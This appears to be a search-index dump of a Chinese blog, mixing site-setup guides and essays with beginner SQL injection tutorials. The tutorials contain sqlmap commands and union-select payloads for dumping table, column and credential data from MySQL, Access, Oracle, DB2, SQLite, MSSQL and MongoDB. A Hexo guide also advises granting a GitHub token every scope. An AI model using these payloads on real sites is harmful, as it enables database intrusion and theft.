找到layouts/partials/footer.html，修改其中的JS代码为（从73行开始）：\ndocument.getElementById(\u0026#34;theme-toggle\u0026#34;).addEventListener(\u0026#34;click\u0026#34;, () =\u0026gt; { if (document.body.className.includes(\u0026#34;dark\u0026#34;)) { document.body.classList.remove(\u0026#39;dark\u0026#39;); localStorage.setItem(\u0026#34;pref-theme\u0026#34;, \u0026#39;light\u0026#39;); document.querySelector(\u0026#39;meta[name=\u0026#34;theme-color\u0026#34;]\u0026#39;).setAttribute(\u0026#34;content\u0026#34;,\u0026#34;#f5f5f5\u0026#34;) } else { document.body.classList.add(\u0026#39;dark\u0026#39;); localStorage.setItem(\u0026#34;pref-theme\u0026#34;, \u0026#39;dark\u0026#39;); document.querySelector(\u0026#39;meta[name=\u0026#34;theme-color\u0026#34;]\u0026#39;).setAttribute(\u0026#34;content\u0026#34;,\u0026#34;#1d1e20\u0026#34;) } }) ","permalink":"https://widegram.com/2021/10/hugo-papermod%E8%B8%A9%E5%9D%91%E5%8E%86%E7%A8%8B/","summary":"忙了一晚上，配置Papermod主题踩了太多坑。记录一下Hugo的PaperMod主题踩坑历程（包括Safari顶栏颜色配置等）。\n一、安装过程 不要使用git add submodule安装主题，否则将无法更改主题内容。正确方法是下载zip文件解压，然后git init。 api.netlify.com始终无法访问，又不在各大pac的名单上，因此开梯子的时候要设置为全局才能上去。 从Hexo转向Hugo后，最大的感受就是编译速度快了不少，netlify的免费额度终于够用了～ 二、配置过程 设置Archive页面时，除了按照官方的做法添加archives.md文件以外，还必须在config.yml下添加如下属性：\nparams: ShowAllPagesInArchive: true 设置params.editPost属性时，在URL上必须加上/tree/master，例如：\nhttps://github.com/alvazu/hugo_standalone/tree/master/content 同时，必须设置hidemeta属性，才会显示修改按钮：\nparams: hidemeta: false hideSummary: false 配置TOC的过程，可以参考如下配置，让TOC显示但自动收起：\nparams: showtoc: true tocopen: false 将主页设置为非profile mode时，还必须在config.yml下添加如下属性，首页上的文章列表才能显示：\nparams: mainSections: - post 这是由于在下列语句中，site.Params.mainSections属性返回posts，而site.RegularPages.Type返回post（少了个“s”）：\nwhere site.RegularPages \u0026#34;Type\u0026#34; \u0026#34;in\u0026#34; site.Params.mainSections 配置RSS时，首先在config.yml下添加如下属性：\nparams: ShowFullTextinRSS: true 然后将socialIcons属性指向index.xml。\n要删除Catagories、Tags页面中的大标题，需要找到/layouts/_default/terms.html文件，将其中的\n\u0026lt;h1\u0026gt;{{ .Title }}\u0026lt;/h1\u0026gt; （也就是第五行）注释掉。\n要删除底部的Powered by Hugo \u0026amp; PaperMod字样，需要找到layouts/partials/footer.html，从第8行开始设置注释：\n\u0026lt;!-- \u0026lt;span\u0026gt; Powered by \u0026lt;a href=\u0026#34;https://gohugo.io/\u0026#34; rel=\u0026#34;noopener noreferrer\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;Hugo\u0026lt;/a\u0026gt; \u0026amp; \u0026lt;a href=\u0026#34;https://git.io/hugopapermod\u0026#34; rel=\u0026#34;noopener\u0026#34; target=\u0026#34;_blank\u0026#34;\u0026gt;PaperMod\u0026lt;/a\u0026gt; \u0026lt;/span\u0026gt; --\u0026gt; 三、设置Safari顶栏颜色跟随 找到layouts/partials/header.","title":"Hugo的PaperMod主题踩坑历程"},{"content":"一、前期准备 1.1. 环境安装 下载必须环境 NodeJS：下载 | Node.js 中文网 (nodejs.cn)\nGit：Git - Downloads (git-scm.com)\n测试是否安装成功 node -v npm -v git --version 安装cnpm以使用国内景象 npm install -g cnpm --registry=https://registry.npm.taobao.org 安装hexo cnpm install hexo-cli -g hexo -v 1.2. 建立Github仓库 注册GitHub账号（略） 建立GitHub仓库 这里注意，要将Repository name设置为 用户名.github.io，建立一个README.md。\n1.3. 生成并绑定ssh key 打开命令行，定位到某文件夹下，输入ssh查看ssh是否已经正常安装。\nssh-keygen -t rsa -C \u0026#34;注册GitHub时使用的邮件地址\u0026#34; # 例如： ssh-keygen -t rsa -C \u0026#34;abc@example.com\u0026#34; # 输入命令后，根据提示按四次回车 生成完毕后，进入.ssh文件夹。Linux/mac用户在~/.ssh/，Windows用户一般在C:\\Users\\用户名\\.ssh，找到里面的id_rsa和id_rsa.pub。\n打开GitHub的settings页面，在左边找到SSH and GPG keys，点击绿色的New SSH key按钮。Title随便写都行，并将刚才的id_rsa.pub中的内容复制到Key栏，点击Add SSH key。\n测试SSH是否绑定成功：\nssh -T git@github.com\t# 此命令无需任何修改，直接复制执行即可。 # 根据提示输入“yes”，最后提示“success”则绑定成功。 二、本地生成博客 选择一个空文件夹，进入命令行。\nhexo init\t# 由于是从GitHub上拉取，可能会遇到网络问题，多试几次 hexo s\t# 生成本地静态页面，并打开本地服务器 找到刚才文件夹下的_config.yml，用Notepad++打开。在文件的最底部添加下列内容（将用户名添加上）：\ndeploy: type: git repository: https://github.com/用户名/用户名.github.io.git branch: main 其中的repository项可在对应仓库中找到自己的.git文件。\n安装部署工具。在博客文件夹下打开命令行，输入\ncnpm install hexo-deployer-git --save 三、部署博客 在博客文件夹下打开命令行，输入\nhexo g\t# 生成 hexo d\t# 上传 # 连接可能不稳定，多试几次 在弹出的窗口中输入GitHub用户名，密码别着急输入，看下一步（别输错，否则得重来）；\n打开浏览器，进入[Personal Access Tokens (github.com)](https://github.com/settings/tokens)，点击Generate new token，随便取个名字。\n有效期限30 days； 下面的Select scopes全选上； 由于令牌只在第一次生成时可见，建议将其复制到其他地方保存； 复制令牌到刚才到OpenSSH的密码框中。 启用GitHub pages；\n打开 用户名.github.io 查看页面。\n四、自定义博客 4.1 简单配置 Hexo的文章在source/_posts下，我们可以看到hello-world.md文件，打开即可修改。 网站的关键信息可以在_config.yml下修改； 具体修改可以参考配置 | Hexo。 4.2. 配置主题 打开Themes | Hexo 注意：Hexo 5.x相对4.x是一次破坏性升级，所以很多4.x下的主题在5.x中并不可用。 以xoxo主题为例： git clone --depth 1 https://github.com/KevinOfNeu/hexo-theme-xoxo themes/xoxo hexo config theme xoxo hexo s ","permalink":"https://widegram.com/2021/10/Hexo%E6%9C%80%E6%96%B0%E5%AE%89%E8%A3%85%E6%95%99%E7%A8%8B/","summary":"一、前期准备 1.1. 环境安装 下载必须环境 NodeJS：下载 | Node.js 中文网 (nodejs.cn)\nGit：Git - Downloads (git-scm.com)\n测试是否安装成功 node -v npm -v git --version 安装cnpm以使用国内景象 npm install -g cnpm --registry=https://registry.npm.taobao.org 安装hexo cnpm install hexo-cli -g hexo -v 1.2. 建立Github仓库 注册GitHub账号（略） 建立GitHub仓库 这里注意，要将Repository name设置为 用户名.github.io，建立一个README.md。\n1.3. 生成并绑定ssh key 打开命令行，定位到某文件夹下，输入ssh查看ssh是否已经正常安装。\nssh-keygen -t rsa -C \u0026#34;注册GitHub时使用的邮件地址\u0026#34; # 例如： ssh-keygen -t rsa -C \u0026#34;abc@example.com\u0026#34; # 输入命令后，根据提示按四次回车 生成完毕后，进入.ssh文件夹。Linux/mac用户在~/.ssh/，Windows用户一般在C:\\Users\\用户名\\.ssh，找到里面的id_rsa和id_rsa.pub。\n打开GitHub的settings页面，在左边找到SSH and GPG keys，点击绿色的New SSH key按钮。Title随便写都行，并将刚才的id_rsa.pub中的内容复制到Key栏，点击Add SSH key。\n测试SSH是否绑定成功：\nssh -T git@github.","title":"Hexo 安装并部署到GitHub Pages 最新教程（2021.10）"},{"content":"在SQL注入时，有时会遇到一些复杂情况，如：.../info.php?id=MQ==，这种情况就属于编码注入。其基本流程如下：\n接收数据 -\u0026gt; base64解密 -\u0026gt; 组合SQL语句 -\u0026gt; 执行返回\n注入思路如下：\n先解码，结合明文后编码\n用如下的表格展现编码注入的部分流程：\n原文 译文 备注 1 order by 3 MSBvcmRlciBieSAz 猜测列数 -1 union select 1,2,3 LTEgdW5pb24gc2VsZWN0IDEsMiwz 测试回显 -1 union select 1,database(),version() LTEgdW5pb24gc2VsZWN0ID EsZGF0YWJhc2UoKSx2ZXJzaW9uKCk= 取得库名 使用Tamper 定位到tamper/base64encode.py文件，注意将URL中的MQ去掉\npython sqlmap.py -u \"XXX.php?id=\" --tamper=base64encode.py ","permalink":"https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-03%E3%80%81sqlmap%E7%BC%96%E7%A0%81%E6%B3%A8%E5%85%A5/","summary":"在SQL注入时，有时会遇到一些复杂情况，如：.../info.php?id=MQ==，这种情况就属于编码注入。其基本流程如下：\n接收数据 -\u0026gt; base64解密 -\u0026gt; 组合SQL语句 -\u0026gt; 执行返回\n注入思路如下：\n先解码，结合明文后编码\n用如下的表格展现编码注入的部分流程：\n原文 译文 备注 1 order by 3 MSBvcmRlciBieSAz 猜测列数 -1 union select 1,2,3 LTEgdW5pb24gc2VsZWN0IDEsMiwz 测试回显 -1 union select 1,database(),version() LTEgdW5pb24gc2VsZWN0ID EsZGF0YWJhc2UoKSx2ZXJzaW9uKCk= 取得库名 使用Tamper 定位到tamper/base64encode.py文件，注意将URL中的MQ去掉\npython sqlmap.py -u \"XXX.php?id=\" --tamper=base64encode.py ","title":"SQL注入基础入门——03、SQLMap编码注入"},{"content":"域名和房地产很像。\n房地产价值首先有其实业的一面，钢筋混凝土，也就是实实在在的居住属性；也有其虚拟的一面，也就是其所处的土地价值、配套的公共服务等，这也就是房地产可炒作的一面。\n域名也是类似，首先它有自己实际的功能，也就是用固定的字符串代替动态的 IP 地址；其次还有可炒作的一面，也就是好记、好看，在商业上展现实力等。\n如今域名功能性的一面越来越弱势，越来越多的流量通过 app 而不是通过域名。这也造成了严重的两极分化：没有炒作价值的域名几乎一文不值。\n另外还有一点我觉得也跟房地产很像：那就是低廉的持有成本。就像国内房产税的缺位一样，一个域名，无论其本身的价值，续费的成本都不过几十几百块（注册商保留域名除外），这导致对一个好域名来说，卖家天然占据优势，除了买家溢价购买的情况下，交易的终止对卖家几乎没有什么损失，从心理上就是卖家占优。\n但其中还有一个问题：在 App 时代，普通大众连接到互联网的入口越发不通过域名，可能多数人连域名是什么都不一定知道，这可能一同削弱了域名的炒作价值——多数人都不知道域名是什么，又何谈接收其所带的品牌价值呢？\n就像未来 VR 全面普及、交通业高度发达的时代：多数人的大多数活动（学习工作生活）都不需要去到太远的地方，也不关心自己所处的位置，又何谈房地产的土地价值呢？\n总而言之，域名价格趋向合理应该是趋势，域名持有人也应该积极顺应这一趋势。\n","permalink":"https://widegram.com/2021/10/%E5%9F%9F%E5%90%8D%E4%B8%8E%E6%88%BF%E5%9C%B0%E4%BA%A7%E7%9A%84%E7%9B%B8%E4%BC%BC%E4%B9%8B%E5%A4%84%E4%BB%A5%E5%8F%8A%E8%A1%B0%E8%90%BD%E7%9A%84%E5%8E%9F%E5%9B%A0/","summary":"域名和房地产很像。\n房地产价值首先有其实业的一面，钢筋混凝土，也就是实实在在的居住属性；也有其虚拟的一面，也就是其所处的土地价值、配套的公共服务等，这也就是房地产可炒作的一面。\n域名也是类似，首先它有自己实际的功能，也就是用固定的字符串代替动态的 IP 地址；其次还有可炒作的一面，也就是好记、好看，在商业上展现实力等。\n如今域名功能性的一面越来越弱势，越来越多的流量通过 app 而不是通过域名。这也造成了严重的两极分化：没有炒作价值的域名几乎一文不值。\n另外还有一点我觉得也跟房地产很像：那就是低廉的持有成本。就像国内房产税的缺位一样，一个域名，无论其本身的价值，续费的成本都不过几十几百块（注册商保留域名除外），这导致对一个好域名来说，卖家天然占据优势，除了买家溢价购买的情况下，交易的终止对卖家几乎没有什么损失，从心理上就是卖家占优。\n但其中还有一个问题：在 App 时代，普通大众连接到互联网的入口越发不通过域名，可能多数人连域名是什么都不一定知道，这可能一同削弱了域名的炒作价值——多数人都不知道域名是什么，又何谈接收其所带的品牌价值呢？\n就像未来 VR 全面普及、交通业高度发达的时代：多数人的大多数活动（学习工作生活）都不需要去到太远的地方，也不关心自己所处的位置，又何谈房地产的土地价值呢？\n总而言之，域名价格趋向合理应该是趋势，域名持有人也应该积极顺应这一趋势。","title":"域名可能衰落的原因"},{"content":"SQLMap是一个自动化的sql注入工具，其主要功能是扫描、发现并利用给定URL的SQL注入漏洞，内置了很多绕过插件，支持的数据库有MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB。\nSQLMap是一款开源免费的漏洞检查、利用工具. 可以检测页面中get,post参数,cookie,http头等. 可以实现数据榨取 可以实现文件系统的访问 可以实现操作命令的执行 还可以对xss漏洞进行检测 基础入门：https://www.cnblogs.com/php09/p/10404560.html\n重要目录详情： 参考https://blog.csdn.net/qq_29277155/article/details/51646932\ndoc/ —-\u0026raquo;\u0026gt;该文件夹包含了sqlmap 的具体使用说明，例如多种语言的简要说明、PDF版的详细说明、FAQ、作者信息等。\nextra/ —\u0026raquo;\u0026gt;这里包含了sqlmap的多种额外功能，例如发出声响（beep)、运行cmd、安全执行、shellcode等。\nlib/ —\u0026raquo;\u0026gt;这里包含了sqlmap的多种连接库，如五种注入类型请求的参数、提权操作等。\nplugins/ —\u0026raquo;\u0026gt;这里包含了各种数据库的信息和数据库通用事项。\nprocs/ —\u0026raquo;\u0026gt; 这里包含了mssqlserver、 mysql、oracle和postgresql的触发程序\nshell/ —\u0026raquo;\u0026gt;这里包含了多种注入成功后的9种shell 远程连接命令执行和管理数据库\ntamper/ —\u0026raquo;\u0026gt;这里包含了47种的绕过脚本，例如编码绕过、注释绕过等。\nthirdparty/ —\u0026raquo;\u0026gt;这里包含了一些其他第三方的插件，例如优化、保持连接、颜色等。\ntxt/ —\u0026raquo;\u0026gt;这里包含了一些字典，例如用户浏览器代理、表、列、关键词等。\nudf/ —\u0026raquo;\u0026gt;这里包含了用户自己定义的攻击载荷。\nwaf/ —\u0026raquo;\u0026raquo;这里包含了一些44种常见的防火墙特征。\nxml/ —\u0026raquo;\u0026gt;这里包含了多种数据库的注入检测载荷、旗标信息以及其他信息。在这里可以看到进行注入的。\nsqlmap.conf —\u0026raquo;\u0026raquo; sqlmap的配置文件，如各种默认参数（默认是没有设置参数、可设置默认参数进行批量或者自动化检测）。\nsqlmap.py* —\u0026raquo;\u0026raquo; 这是sqlmap 的主程序，可以调用各种参数进行注入任务。\nsqlmapapi.py* —\u0026raquo;\u0026raquo; 这是sqlmap 的api 文件，可以将sqlmap集成到其他平台上。\n一些技巧 python3 sqlmap.py -u “URL?id=1”\n查询过一次后，第二次查询可能不准（因为有缓存），可以选择删除缓存（AppData\\Local\\sqlmap\\output）\n","permalink":"https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8%EF%BC%8802-sqlmap%EF%BC%89/","summary":"SQLMap是一个自动化的sql注入工具，其主要功能是扫描、发现并利用给定URL的SQL注入漏洞，内置了很多绕过插件，支持的数据库有MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB。\nSQLMap是一款开源免费的漏洞检查、利用工具. 可以检测页面中get,post参数,cookie,http头等. 可以实现数据榨取 可以实现文件系统的访问 可以实现操作命令的执行 还可以对xss漏洞进行检测 基础入门：https://www.cnblogs.com/php09/p/10404560.html\n重要目录详情： 参考https://blog.csdn.net/qq_29277155/article/details/51646932\ndoc/ —-\u0026raquo;\u0026gt;该文件夹包含了sqlmap 的具体使用说明，例如多种语言的简要说明、PDF版的详细说明、FAQ、作者信息等。\nextra/ —\u0026raquo;\u0026gt;这里包含了sqlmap的多种额外功能，例如发出声响（beep)、运行cmd、安全执行、shellcode等。\nlib/ —\u0026raquo;\u0026gt;这里包含了sqlmap的多种连接库，如五种注入类型请求的参数、提权操作等。\nplugins/ —\u0026raquo;\u0026gt;这里包含了各种数据库的信息和数据库通用事项。\nprocs/ —\u0026raquo;\u0026gt; 这里包含了mssqlserver、 mysql、oracle和postgresql的触发程序\nshell/ —\u0026raquo;\u0026gt;这里包含了多种注入成功后的9种shell 远程连接命令执行和管理数据库\ntamper/ —\u0026raquo;\u0026gt;这里包含了47种的绕过脚本，例如编码绕过、注释绕过等。\nthirdparty/ —\u0026raquo;\u0026gt;这里包含了一些其他第三方的插件，例如优化、保持连接、颜色等。\ntxt/ —\u0026raquo;\u0026gt;这里包含了一些字典，例如用户浏览器代理、表、列、关键词等。\nudf/ —\u0026raquo;\u0026gt;这里包含了用户自己定义的攻击载荷。\nwaf/ —\u0026raquo;\u0026raquo;这里包含了一些44种常见的防火墙特征。\nxml/ —\u0026raquo;\u0026gt;这里包含了多种数据库的注入检测载荷、旗标信息以及其他信息。在这里可以看到进行注入的。\nsqlmap.conf —\u0026raquo;\u0026raquo; sqlmap的配置文件，如各种默认参数（默认是没有设置参数、可设置默认参数进行批量或者自动化检测）。\nsqlmap.py* —\u0026raquo;\u0026raquo; 这是sqlmap 的主程序，可以调用各种参数进行注入任务。\nsqlmapapi.py* —\u0026raquo;\u0026raquo; 这是sqlmap 的api 文件，可以将sqlmap集成到其他平台上。\n一些技巧 python3 sqlmap.py -u “URL?id=1”\n查询过一次后，第二次查询可能不准（因为有缓存），可以选择删除缓存（AppData\\Local\\sqlmap\\output）","title":"SQL注入基础入门——02、SQLMap简介"},{"content":"常用工具：SQLmap\n数据库类型判断 SQL注入语句判断（配合工具） 搭建组合、信息搜集 端口扫描 一、Access注入（较少见，没有数据库名） 猜测有多少列（order by 22）\n22正常，23错误 联合注入/暴力注入（union select 1,2,3,4,…,22 from admin） 此处猜测表名为admin，此处暴力破解，配合抓包工具 \u0026gt; 使用Burp Suite的变量功能，批量发送数据包，批量检查返回包来确定 \u0026lt;ol start=\u0026quot;2\u0026quot;\u0026gt; \u0026lt;li\u0026gt; 为测试页面回显，依次在1,2,username,password,…,22写上列名\u0026lt;br /\u0026gt; 此处也需要暴力破解列名 \u0026lt;/li\u0026gt; \u0026lt;/ol\u0026gt; 偏移注入：解决表名获取到但列名获取不到的情况\n表名获取不到，则必须要字典暴力破解\n依次测试下列语句，直到不再报错： union select 1,2,3,4,…,19,20,21,* from admin union select 1,2,3,4,…,19,20,* from admin union select 1,2,3,4,…,19,* from admin union select 1,2,3,4,…,18,* from admin … 假设union select 1,2,3,4,…,16,* from admin正常显示，则admin中列的个数：22-16=6\n4. 二级偏移16-6=10/三级偏移10-6=4/…\nunion select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id) union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id) 二、MySQL注入 1. 猜测有多少列（order by 4） 2. 联合注入（union select 1,2,3,4）——获取数据库名 2.1. 测试回显 此时页面正常，将前面的条件置为假，出现数字（此处假设数字为2） 例如，id=1改为id=-1，或者加上and 1=2 2.2. 使用内置函数获取数据库名（假设此处为db） union select 1,database(),3,4 同时可用version()、user()、@@version_compile_os查询数据库版本、用户、操作系统名 3. 获取数据（面向MySQL 5.0及以上） ⚠️注意：MySQL 5.0以下注入属于暴力破解，5.0及以上版本为有根据猜解。因为在MySQL 5及以上版本中有information_schema库，它储存了mysql所有数据库名、表名、列名信息。数据库版本可用上一步的 version() 获取。 information_schema.tables表下的列table_name 存储表名信息的表 information_schema.columns表下的列column_name 存储列名信息的表 information_schema.schemata表下的列shcema_name 存储数据库名信息的表 3.1. 获取表名 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=’db’ 此处db为数据库名，在第二步中已经得到（假设其中有member） table_schema 数据库名 table_name 表名 column_name 列名 3.2. 获取列名 union select 1,group_concat(column_name),3,4 from information_schema.tables where table_name=’member’ 假设获取到了name、password等列名 3.3. 获取数据 union select 1,name,password,4 from member 3.4. 若版本为5.0以下，则尝试配合字典/文件读取读取尝试获取 三、PostgreSQL注入 基本思路与MySQL一致，参考：https://www.cnblogs.com/she11s/p/12326629.html\n猜测有多少列 order by 4 联合注入 union select null,null,null,null 获取数据库名： id=-1 union select null,current_database(),null,null 获取表名 id=-1 union select null,relname,null,null from pg_stat_user_tables limit 1 offset 1 列名 union select null,column_name,null from information_schema.columns where table_name=’表名’ 四、SQLite注入 使用sqlite_master隐藏表，参考：https://www.cnblogs.com/xiaozi/p/5760321.html 中的union select注入，盲注将在以后涉及，这里暂时略过。\n查询表名和列名\nunion select 1,name,sql,4 from sqlite_master 五、DB2注入 参考https://www.cnblogs.com/xiaozi/p/5760321.html\n猜测有多少列（order by 4）\n获取库名\nand 1=2 union select 1,2,current schema,4 from sysibm.sysdummy1 表名 and 1=2 union select 1,2,tabname,4 from syscat.tables where tabschema=current schema limit 0,1 列名 union select 1,2,column_name,4 from sysibm.columns where … 内置函数 sysibm.sysdummy1 数据库名 syscat.tables 表名 sysibm.columns 列名 六、Oracle注入 参考https://www.cnblogs.com/peterpan0707007/p/8242119.html 猜测有多少列（order by 4） 判断列类型 union select null,null,… from dual - 判断字符型还是数字型：在第一个null上加上单引号，正常（输出null）说明第一列为字符型，否则（不显示）为数字型。依次判断各列的类型。 确定回显位 union select 1,2 from dual 假设返回2，则第一个表 union select 1,(select table_name from user_tables where rownum=1) from dual - 第二个表以此类推。 通过模糊like查询获得表名，配合抓包工具（见Access数据库注入） *七、MongoDB闭合注入（较特殊，工具可能不支持） 首先要获得代码，否则将很难注入。\n获取回显：’}); return ({title:1,content:’2\n⚠️这里假如不知道字段名要靠猜，这也是MongoDB注入点少的原因。 库名\n'}); return ({title:tojson(db),content:’2 表名 '}); return ({title:tojson(db.getCollectionNames()),content:’2 列名、数据 '}); return ({title:tojson(db.Authority_confidential.find[0]),content:’2 '}); return ({title:tojson(db.Authority_confidential.find[1]),content:’2 八、MSSQL和Sybase注入 order by 4 回显： union all select ‘null’,null,null,null union all select null,’null’,null,null //显示null说明回显位为2 union all select null,null,’null’,null union all select null,null,null,’null’ 猜列名猜表名基本一致 ","permalink":"https://widegram.com/2021/10/sql%E6%B3%A8%E5%85%A5%E5%9F%BA%E7%A1%80%E5%85%A5%E9%97%A8-01-%E5%9F%BA%E6%9C%AC%E6%80%9D%E8%B7%AF/","summary":"常用工具：SQLmap\n数据库类型判断 SQL注入语句判断（配合工具） 搭建组合、信息搜集 端口扫描 一、Access注入（较少见，没有数据库名） 猜测有多少列（order by 22）\n22正常，23错误 联合注入/暴力注入（union select 1,2,3,4,…,22 from admin） 此处猜测表名为admin，此处暴力破解，配合抓包工具 \u0026gt; 使用Burp Suite的变量功能，批量发送数据包，批量检查返回包来确定 \u0026lt;ol start=\u0026quot;2\u0026quot;\u0026gt; \u0026lt;li\u0026gt; 为测试页面回显，依次在1,2,username,password,…,22写上列名\u0026lt;br /\u0026gt; 此处也需要暴力破解列名 \u0026lt;/li\u0026gt; \u0026lt;/ol\u0026gt; 偏移注入：解决表名获取到但列名获取不到的情况\n表名获取不到，则必须要字典暴力破解\n依次测试下列语句，直到不再报错： union select 1,2,3,4,…,19,20,21,* from admin union select 1,2,3,4,…,19,20,* from admin union select 1,2,3,4,…,19,* from admin union select 1,2,3,4,…,18,* from admin … 假设union select 1,2,3,4,…,16,* from admin正常显示，则admin中列的个数：22-16=6\n4. 二级偏移16-6=10/三级偏移10-6=4/…\nunion select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.","title":"SQL注入基础入门——01、几种常见的注入形式"},{"content":"React 16.8\nBabel ES6==\u0026gt;ES5, JSX==\u0026gt;JS react.dev react-dom.dev ","permalink":"https://widegram.com/2021/09/react-%E8%B5%B7%E6%AD%A5/","summary":"React 16.8\nBabel ES6==\u0026gt;ES5, JSX==\u0026gt;JS react.dev react-dom.dev ","title":"React 起步"},{"content":"找到wp-content/themes/dashscroll/content.php，注释其中的“Read More”和Left（头像）相关内容。\n找到同目录下的footer.php，注释copyright、credit相关内容。\n使用以下自定义CSS来自定义背景并解决移动端页面不换行的问题：\n.wp-block-themeisle-blocks-advanced-column p{white-space:normal;word-wrap: break-word; word-break: normal;} .content {background:#fbfbfb;} ","permalink":"https://widegram.com/2021/09/%E5%BE%AE%E8%B0%83dashscroll%E7%9A%84%E6%98%BE%E7%A4%BA%E6%95%88%E6%9E%9C/","summary":"找到wp-content/themes/dashscroll/content.php，注释其中的“Read More”和Left（头像）相关内容。\n找到同目录下的footer.php，注释copyright、credit相关内容。\n使用以下自定义CSS来自定义背景并解决移动端页面不换行的问题：\n.wp-block-themeisle-blocks-advanced-column p{white-space:normal;word-wrap: break-word; word-break: normal;} .content {background:#fbfbfb;} ","title":"微调Dashscroll的显示效果"},{"content":"早已有人指出，人类自从丧失其内在的本能规划，摆脱了其动物本性，便不知道为何要继续维持自己的生存，也不再知道自己存在的意义为何。自恋是人“说服自己”、努力维持生存的动力之一。而恶性自恋的本质是其丧失了自我检查的能力：恶性自恋建立在占有的基础上，包括非功能性的占有和功能性的消费。当然，消费绝不仅限于金钱花费，例如语言（流行语）也是一种重要的消费形式。事实上，现代人语境下的所谓的“兴趣”，本质上就是消费偏好而已。\n之前提到，个体在面对人类社会时的力量不足，由此引发的不自觉的顺从导致内在力量的进一步丧失，无论是顺从家庭、国家、政党、社会机构（如学校）、某些“恶法”等等，都会因为自主性的丧失引发内在的恐慌和敌意，并可能进一步滋生乱伦固恋。这涉及人本主义理论对弗洛伊德经典精神分析作出的重要修正之一：性并非恋母情结的原因，而是结果。这一点可以从女性的与男性同样强烈的恋母情结中得到印证，而弗洛伊德的性驱动理论不能解释这一点。\n我依然相信，阶级斗争的本质是生产力的斗争（主要体现为利益分配上的斗争），廉价商品是世界上最强大的武器之一（在自由贸易的基础上）。当下资本收益远大于劳动收益的事实也侧面印证资本主义在目前依然具有的强大活力。阶级斗争的本质要求人不断提升生产力，即主要侧重于“结果”。这正好符合良性自恋的本质：即建立在“达成”上的自恋。因此我相信，良性自恋有着释放巨大力量的潜力。个体通过不断提升自我的生产力，以此维持阶级生产力的高速发展，也许是未来发展的趋势。\n几百年过去了，飘荡在资本主义世界的幽灵——生产过剩依然没有消失，即使资本主义自身经历了多次自我修订，从现在看来，也已逐渐步入暮年。也许能在有生之年看到资本主义的自我革命或掠夺失败导致的“被革命”。\n","permalink":"https://widegram.com/2021/06/%E8%87%AA%E6%81%8B%E4%B8%8E%E5%8A%9B%E9%87%8F/","summary":"早已有人指出，人类自从丧失其内在的本能规划，摆脱了其动物本性，便不知道为何要继续维持自己的生存，也不再知道自己存在的意义为何。自恋是人“说服自己”、努力维持生存的动力之一。而恶性自恋的本质是其丧失了自我检查的能力：恶性自恋建立在占有的基础上，包括非功能性的占有和功能性的消费。当然，消费绝不仅限于金钱花费，例如语言（流行语）也是一种重要的消费形式。事实上，现代人语境下的所谓的“兴趣”，本质上就是消费偏好而已。\n之前提到，个体在面对人类社会时的力量不足，由此引发的不自觉的顺从导致内在力量的进一步丧失，无论是顺从家庭、国家、政党、社会机构（如学校）、某些“恶法”等等，都会因为自主性的丧失引发内在的恐慌和敌意，并可能进一步滋生乱伦固恋。这涉及人本主义理论对弗洛伊德经典精神分析作出的重要修正之一：性并非恋母情结的原因，而是结果。这一点可以从女性的与男性同样强烈的恋母情结中得到印证，而弗洛伊德的性驱动理论不能解释这一点。\n我依然相信，阶级斗争的本质是生产力的斗争（主要体现为利益分配上的斗争），廉价商品是世界上最强大的武器之一（在自由贸易的基础上）。当下资本收益远大于劳动收益的事实也侧面印证资本主义在目前依然具有的强大活力。阶级斗争的本质要求人不断提升生产力，即主要侧重于“结果”。这正好符合良性自恋的本质：即建立在“达成”上的自恋。因此我相信，良性自恋有着释放巨大力量的潜力。个体通过不断提升自我的生产力，以此维持阶级生产力的高速发展，也许是未来发展的趋势。\n几百年过去了，飘荡在资本主义世界的幽灵——生产过剩依然没有消失，即使资本主义自身经历了多次自我修订，从现在看来，也已逐渐步入暮年。也许能在有生之年看到资本主义的自我革命或掠夺失败导致的“被革命”。","title":"自恋与力量"},{"content":"我们已经知道人孤独的本质。在面对自然时我们使用创造来发挥力量；在面对接触到的人时我们使用爱来发挥力量。那么问题来了，面对整个人类社会时，我们的力量在哪里？我们似乎只能通过顺从来求存。人类社会比自然界对人弱点的研究更加深入、更加有针对性，同时控制本身也更加无孔不入。这种无力感可能在绝大多数时候难以察觉，那可能是因为他已经不自觉地参与服从了。\n面对人类社会的种种力量，国家机器、制度、文化、舆论、军队、警察、官僚系统的监视和支配时，人面临与他面临自然、他人时所经历的同样的无力感，我们却找不到什么办法去证明自己的力量，只能在顺从的同时寄希望于社会本身的变革。换句话说，社会的各项制度本应是为人而服务，目标在于解决人的基本生存问题，同时服务于人的最大幸福——也就是人本主义。\n人类社会带我们摆脱自然界的束缚，却带我们进入了全新的束缚，我们重新体验到了自己的无力感，我们证明自己力量的方法只能是，某种“一时兴起”的“自由”。互联网的兴起加强了舆论对我们的束缚（也许传播学能告诉我们如何在舆论面前发挥自己的力量）。脱离了人类社会我们就无法生存，但人类社会也控制着我们使我们产生各种各样的无力感——这是一对基本矛盾。如何才能在人类社会中安身立命，又能摆脱这种无力感呢？资本主义社会办不到。\n在面对无力感时，人产生的近乎于本能的反应（其实很多是早期经验），可以参考《逃避的心理机构》的相关内容。\n庞大的中产阶级群体是财政收入的重要保障，但在面临社会变革时，他们也是最大的保守力量。\n我想总结一下我的看法——人本主义精神分析主要研究如何解决内在的问题，而外在的问题也就是人类社会的问题同样不可忽视（第一段中的基本矛盾），这也就是马克思主义的伟大之处。但马克思主义者由于传统的原因常常忽视心理学，经典精神分析由于其机械唯物主义的哲学基础而难以与马克思主义相结合。\n","permalink":"https://widegram.com/2020/06/%E4%BB%A5%E4%BA%BA%E4%B8%BA%E6%9C%AC%E7%9A%84%E6%9C%AC%E8%B4%A8%E6%98%AF%E4%BA%BA%E7%B1%BB%E7%A4%BE%E4%BC%9A%E7%9A%84%E4%BB%A5